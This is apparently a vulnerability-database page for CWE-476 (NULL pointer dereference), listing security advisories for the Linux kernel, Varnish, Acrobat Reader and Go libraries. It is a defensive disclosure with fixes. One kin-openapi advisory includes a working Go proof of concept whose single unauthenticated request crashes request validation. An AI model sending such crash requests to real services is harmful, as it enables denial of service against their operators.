CWE-476
AllowedNULL Pointer Dereference
Abstraction: Base · Status: Stable
The product dereferences a pointer that it expects to be valid but is NULL.
6385 vulnerabilities reference this CWE, most recent first.
GHSA-JP9P-8GWP-X6CF
Vulnerability from github – Published: 2024-04-03 18:30 – Updated: 2025-01-27 15:30In the Linux kernel, the following vulnerability has been resolved:
HID: nvidia-shield: Add missing null pointer checks to LED initialization
devm_kasprintf() returns a pointer to dynamically allocated memory which can be NULL upon failure. Ensure the allocation was successful by checking the pointer validity.
[jkosina@suse.com: tweak changelog a bit]
{
"affected": [],
"aliases": [
"CVE-2024-26770"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-03T17:15:52Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: nvidia-shield: Add missing null pointer checks to LED initialization\n\ndevm_kasprintf() returns a pointer to dynamically allocated memory\nwhich can be NULL upon failure. Ensure the allocation was successful\nby checking the pointer validity.\n\n[jkosina@suse.com: tweak changelog a bit]",
"id": "GHSA-jp9p-8gwp-x6cf",
"modified": "2025-01-27T15:30:56Z",
"published": "2024-04-03T18:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26770"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/83527a13740f57b45f162e3af4c7db4b88521100"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b6eda11c44dc89a681e1c105f0f4660e69b1e183"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e71cc4a1e584293deafff1a7dea614b0210d0443"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JPCW-4WR7-C3VQ
Vulnerability from github – Published: 2026-07-24 22:39 – Updated: 2026-07-24 22:39| Field | Value |
|---|---|
| Ecosystem | Go |
| Package | github.com/getkin/kin-openapi |
| Affected versions | <= 0.143.0 (introduced in v0.2.0, PR #90, 2019-05-07; reproduced on HEAD 30e2923) |
| Patched versions | 0.144.0 |
| --- |
Summary
openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.
Details
The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.
openapi3filter/req_resp_decoder.go, around line 197:
mt := content.Get("application/json")
if mt == nil { // media-type OBJECT is guarded ...
err = fmt.Errorf("parameter %q has no content schema", param.Name)
return
}
outSchema = mt.Schema.Value // ... but mt.Schema is NOT — panics when nil
The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.
Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:
openapi3/parameter.go—Parameter.Validateonly enforces exactly one ofschemaXORcontent; a parameter withcontent(and noschema) satisfies it.openapi3/media_type.go—MediaType.Validatevalidates the schema only when it is non-nil, so an absent schema is not a validation error.
Call path to the panic:
ValidateRequest openapi3filter/validate_request.go:83
└─ ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil)
└─ decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value ⇒ found)
└─ defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 ← nil deref / panic
Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.
PoC
Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.
1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
/c:
get:
parameters:
- name: cfg
in: query
content:
application/json: {} # media type object with NO schema
responses:
"200": {description: ok}
2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
/c:
get:
parameters:
- name: cfg
in: query
content:
application/json: {} # media type object with NO schema
responses:
"200": {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
panic(err)
}
// Reachability: the malformed-but-legal document must validate.
if err := doc.Validate(context.Background()); err != nil {
panic("doc.Validate rejected the spec, not reachable: " + err.Error())
}
router, err := gorillamux.NewRouter(doc)
if err != nil {
panic(err)
}
// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
// Panics here on the crafted request (req_resp_decoder.go:197).
if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r,
PathParams: pathParams,
Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
}); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
})
srv := httptest.NewServer(h)
defer srv.Close()
// The single, unauthenticated attack request.
resp, err := http.Get(srv.URL + "/c?cfg=1")
if err != nil {
// Expected: the server goroutine panicked, so the client sees EOF.
fmt.Printf("client received an aborted response (expected): %v\n", err)
return
}
defer resp.Body.Close()
fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}
3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:
http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
openapi3filter/validate_request.go:83
Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.
Impact
This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.
The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:
| Wiring | Recovered by net/http? |
Result |
|---|---|---|
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler) |
Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth. |
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check) |
No | Whole process crashes on a single unauthenticated request unless the app added its own recover(). |
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) |
No | Whole process crashes. |
This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.
Remediation (suggested)
Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:
mt := content.Get("application/json")
if mt == nil {
err = fmt.Errorf("parameter %q has no content schema", param.Name)
return
}
if mt.Schema == nil {
err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
return
}
outSchema = mt.Schema.Value
The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.
Workarounds for consumers, pending a patch:
- Ensure every
contentparameter in served specs declares aschema, or reject such specs at load time. - Supply a custom
ParamDecoderthat guardsmt.Schema == nil. - Run request validation inside a handler with an explicit
recover()— especially if validation runs off the request goroutine or on a non-net/httphost.
Notes for the maintainer
This root cause (mt.Schema == nil) is independent of the Items == nil panics addressed in 30e2923 and of GHSA-mmfr-pmjx-hw9w; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.143.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.144.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:39:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "| Field | Value |\n|---|---|\n| Ecosystem | Go |\n| Package | `github.com/getkin/kin-openapi` |\n| Affected versions | `\u003c= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) |\n| Patched versions | 0.144.0 |\n---\n\n### Summary\n\n`openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification \u2014 kin-openapi\u0027s own `doc.Validate()` accepts it \u2014 and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.\n\n### Details\n\nThe decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check.\n\n`openapi3filter/req_resp_decoder.go`, around line 197:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil { // media-type OBJECT is guarded ...\n err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n return\n}\noutSchema = mt.Schema.Value // ... but mt.Schema is NOT \u2014 panics when nil\n```\n\nThe function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`.\n\n**Why a schema-less content parameter is legal** (so the sink is reachable \u2014 `doc.Validate()` returns no error), in both 3.0.x and 3.1.x:\n\n- `openapi3/parameter.go` \u2014 `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it.\n- `openapi3/media_type.go` \u2014 `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error.\n\n**Call path to the panic:**\n\n```\nValidateRequest openapi3filter/validate_request.go:83\n \u2514\u2500 ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil)\n \u2514\u2500 decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value \u21d2 found)\n \u2514\u2500 defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 \u2190 nil deref / panic\n```\n\n**Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding.\n\n### PoC\n\nReproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`.\n\n**1. Minimal OpenAPI 3.0.3 document** (legal \u2014 `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**:\n\n```yaml\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /c:\n get:\n parameters:\n - name: cfg\n in: query\n content:\n application/json: {} # media type object with NO schema\n responses:\n \"200\": {description: ok}\n```\n\n**2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /c:\n get:\n parameters:\n - name: cfg\n in: query\n content:\n application/json: {} # media type object with NO schema\n responses:\n \"200\": {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Reachability: the malformed-but-legal document must validate.\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tpanic(\"doc.Validate rejected the spec, not reachable: \" + err.Error())\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Handler mirrors openapi3filter.ValidationHandler: find route, validate.\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\t// Panics here on the crafted request (req_resp_decoder.go:197).\n\t\tif err := openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t}); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(h)\n\tdefer srv.Close()\n\n\t// The single, unauthenticated attack request.\n\tresp, err := http.Get(srv.URL + \"/c?cfg=1\")\n\tif err != nil {\n\t\t// Expected: the server goroutine panicked, so the client sees EOF.\n\t\tfmt.Printf(\"client received an aborted response (expected): %v\\n\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tfmt.Printf(\"UNEXPECTED: got HTTP %d without a panic\\n\", resp.StatusCode)\n}\n```\n\n**3. Observed result** \u2014 the request goroutine panics inside validation, and the client\u0027s `http.Get` returns an EOF:\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)\n\topenapi3filter/req_resp_decoder.go:197\ngithub.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)\n\topenapi3filter/req_resp_decoder.go:166\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)\n\topenapi3filter/validate_request.go:177\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\topenapi3filter/validate_request.go:83\n```\n\nSwapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause.\n\n### Impact\n\nThis is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`.\n\nThe precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it:\n\n| Wiring | Recovered by `net/http`? | Result |\n|---|---|---|\n| Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. |\n| `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. |\n| Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** |\n\nThis is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process.\n\n---\n\n## Remediation (suggested)\n\nAdd a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {\n err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n return\n}\nif mt.Schema == nil {\n err = fmt.Errorf(\"parameter %q content media type has no schema\", param.Name)\n return\n}\noutSchema = mt.Schema.Value\n```\n\nThe `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent.\n\n**Workarounds for consumers, pending a patch:**\n\n- Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time.\n- Supply a custom `ParamDecoder` that guards `mt.Schema == nil`.\n- Run request validation inside a handler with an explicit `recover()` \u2014 especially if validation runs off the request goroutine or on a non-`net/http` host.\n\n## Notes for the maintainer\n\nThis root cause (`mt.Schema == nil`) is independent of the `Items == nil` panics addressed in `30e2923` and of `GHSA-mmfr-pmjx-hw9w`; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.",
"id": "GHSA-jpcw-4wr7-c3vq",
"modified": "2026-07-24T22:39:39Z",
"published": "2026-07-24T22:39:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema"
}
GHSA-JPGG-CP2X-QRW3
Vulnerability from github – Published: 2022-12-28 00:30 – Updated: 2026-01-23 22:35Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5gjg-jgh4-gppm. This link is maintained to preserve external references.
Original Description
Web Sockets do not execute any AuthenticateMethod methods which may be set, leading to a nil pointer dereference if the returned UserData pointer is assumed to be non-nil, or authentication bypass. This issue only affects WebSockets with an AuthenticateMethod hook. Request handlers that do not explicitly use WebSockets are not vulnerable.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/ecnepsnai/web"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-30T18:54:08Z",
"nvd_published_at": "2022-12-27T22:15:00Z",
"severity": "CRITICAL"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5gjg-jgh4-gppm. This link is maintained to preserve external references.\n\n## Original Description\nWeb Sockets do not execute any AuthenticateMethod methods which may be set, leading to a nil pointer dereference if the returned UserData pointer is assumed to be non-nil, or authentication bypass. This issue only affects WebSockets with an AuthenticateMethod hook. Request handlers that do not explicitly use WebSockets are not vulnerable.",
"id": "GHSA-jpgg-cp2x-qrw3",
"modified": "2026-01-23T22:35:48Z",
"published": "2022-12-28T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4236"
},
{
"type": "WEB",
"url": "https://github.com/ecnepsnai/web/commit/5a78f8d5c41ce60dcf9f61aaf47a7a8dc3e0002f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ecnepsnai/web"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2021-0107"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: ecnepsnai/web vulnerable to Uncontrolled Resource Consumption",
"withdrawn": "2026-01-23T22:35:48Z"
}
GHSA-JPM5-7XH4-QGJV
Vulnerability from github – Published: 2022-05-24 22:01 – Updated: 2022-06-29 00:00Varnish varnish-modules before 0.17.1 allows remote attackers to cause a denial of service (daemon restart) in some configurations. This does not affect organizations that only install the Varnish Cache product; however, it is common to install both Varnish Cache and varnish-modules. Specifically, an assertion failure or NULL pointer dereference can be triggered in Varnish Cache through the varnish-modules header.append() and header.copy() functions. For some Varnish Configuration Language (VCL) files, this gives remote clients an opportunity to cause a Varnish Cache restart. A restart reduces overall availability and performance due to an increased number of cache misses, and may cause higher load on backend servers.
{
"affected": [],
"aliases": [
"CVE-2021-28543"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-16T15:15:00Z",
"severity": "HIGH"
},
"details": "Varnish varnish-modules before 0.17.1 allows remote attackers to cause a denial of service (daemon restart) in some configurations. This does not affect organizations that only install the Varnish Cache product; however, it is common to install both Varnish Cache and varnish-modules. Specifically, an assertion failure or NULL pointer dereference can be triggered in Varnish Cache through the varnish-modules header.append() and header.copy() functions. For some Varnish Configuration Language (VCL) files, this gives remote clients an opportunity to cause a Varnish Cache restart. A restart reduces overall availability and performance due to an increased number of cache misses, and may cause higher load on backend servers.",
"id": "GHSA-jpm5-7xh4-qgjv",
"modified": "2022-06-29T00:00:49Z",
"published": "2022-05-24T22:01:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28543"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OPFBRQUJNWHCB3GQHSSAPRLQU6Q6PY43"
},
{
"type": "WEB",
"url": "https://varnish-cache.org/security/VSV00006.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JPMQ-5HPP-XF83
Vulnerability from github – Published: 2025-05-09 09:33 – Updated: 2025-11-17 15:30In the Linux kernel, the following vulnerability has been resolved:
drm/amdgpu: handle amdgpu_cgs_create_device() errors in amd_powerplay_create()
Add error handling to propagate amdgpu_cgs_create_device() failures to the caller. When amdgpu_cgs_create_device() fails, release hwmgr and return -ENOMEM to prevent null pointer dereference.
[v1]->[v2]: Change error code from -EINVAL to -ENOMEM. Free hwmgr.
{
"affected": [],
"aliases": [
"CVE-2025-37852"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-09T07:16:06Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: handle amdgpu_cgs_create_device() errors in amd_powerplay_create()\n\nAdd error handling to propagate amdgpu_cgs_create_device() failures\nto the caller. When amdgpu_cgs_create_device() fails, release hwmgr\nand return -ENOMEM to prevent null pointer dereference.\n\n[v1]-\u003e[v2]: Change error code from -EINVAL to -ENOMEM. Free hwmgr.",
"id": "GHSA-jpmq-5hpp-xf83",
"modified": "2025-11-17T15:30:31Z",
"published": "2025-05-09T09:33:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37852"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1435e895d4fc967d64e9f5bf81e992ac32f5ac76"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/22ea19cc089013b55c240134dbb2797700ff5a6a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/55ef52c30c3e747f145a64de96192e37a8fed670"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b784734811438f11533e2fb9e0deb327844bdb56"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/dc4380f34613eaae997b3ed263bd1cb3d0fd0075"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f8693e1bae9c08233a2f535c3f412e157df32b33"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JPR2-8H3G-8RC7
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41Acrobat Reader DC versions versions 2020.013.20074 (and earlier), 2020.001.30018 (and earlier) and 2017.011.30188 (and earlier) are affected by a null pointer dereference vulnerability when parsing a specially crafted PDF file. An unauthenticated attacker could leverage this vulnerability to achieve denial of service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
{
"affected": [],
"aliases": [
"CVE-2021-21057"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-11T20:15:00Z",
"severity": "MODERATE"
},
"details": "Acrobat Reader DC versions versions 2020.013.20074 (and earlier), 2020.001.30018 (and earlier) and 2017.011.30188 (and earlier) are affected by a null pointer dereference vulnerability when parsing a specially crafted PDF file. An unauthenticated attacker could leverage this vulnerability to achieve denial of service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-jpr2-8h3g-8rc7",
"modified": "2022-05-24T17:41:59Z",
"published": "2022-05-24T17:41:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21057"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb21-09.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JPRX-MPRP-6QVX
Vulnerability from github – Published: 2025-04-16 15:34 – Updated: 2025-05-06 18:30In the Linux kernel, the following vulnerability has been resolved:
fs/9p: fix NULL pointer dereference on mkdir
When a 9p tree was mounted with option 'posixacl', parent directory had a default ACL set for its subdirectories, e.g.:
setfacl -m default:group:simpsons:rwx parentdir
then creating a subdirectory crashed 9p client, as v9fs_fid_add() call in function v9fs_vfs_mkdir_dotl() sets the passed 'fid' pointer to NULL (since dafbe689736) even though the subsequent v9fs_set_create_acl() call expects a valid non-NULL 'fid' pointer:
[ 37.273191] BUG: kernel NULL pointer dereference, address: 0000000000000000 ... [ 37.322338] Call Trace: [ 37.323043] [ 37.323621] ? __die (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:434) [ 37.324448] ? page_fault_oops (arch/x86/mm/fault.c:714) [ 37.325532] ? search_module_extables (kernel/module/main.c:3733) [ 37.326742] ? p9_client_walk (net/9p/client.c:1165) 9pnet [ 37.328006] ? search_bpf_extables (kernel/bpf/core.c:804) [ 37.329142] ? exc_page_fault (./arch/x86/include/asm/paravirt.h:686 arch/x86/mm/fault.c:1488 arch/x86/mm/fault.c:1538) [ 37.330196] ? asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:574) [ 37.331330] ? p9_client_walk (net/9p/client.c:1165) 9pnet [ 37.332562] ? v9fs_fid_xattr_get (fs/9p/xattr.c:30) 9p [ 37.333824] v9fs_fid_xattr_set (fs/9p/fid.h:23 fs/9p/xattr.c:121) 9p [ 37.335077] v9fs_set_acl (fs/9p/acl.c:276) 9p [ 37.336112] v9fs_set_create_acl (fs/9p/acl.c:307) 9p [ 37.337326] v9fs_vfs_mkdir_dotl (fs/9p/vfs_inode_dotl.c:411) 9p [ 37.338590] vfs_mkdir (fs/namei.c:4313) [ 37.339535] do_mkdirat (fs/namei.c:4336) [ 37.340465] __x64_sys_mkdir (fs/namei.c:4354) [ 37.341455] do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83) [ 37.342447] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
Fix this by simply swapping the sequence of these two calls in v9fs_vfs_mkdir_dotl(), i.e. calling v9fs_set_create_acl() before v9fs_fid_add().
{
"affected": [],
"aliases": [
"CVE-2025-22070"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-16T15:16:01Z",
"severity": "MODERATE"
},
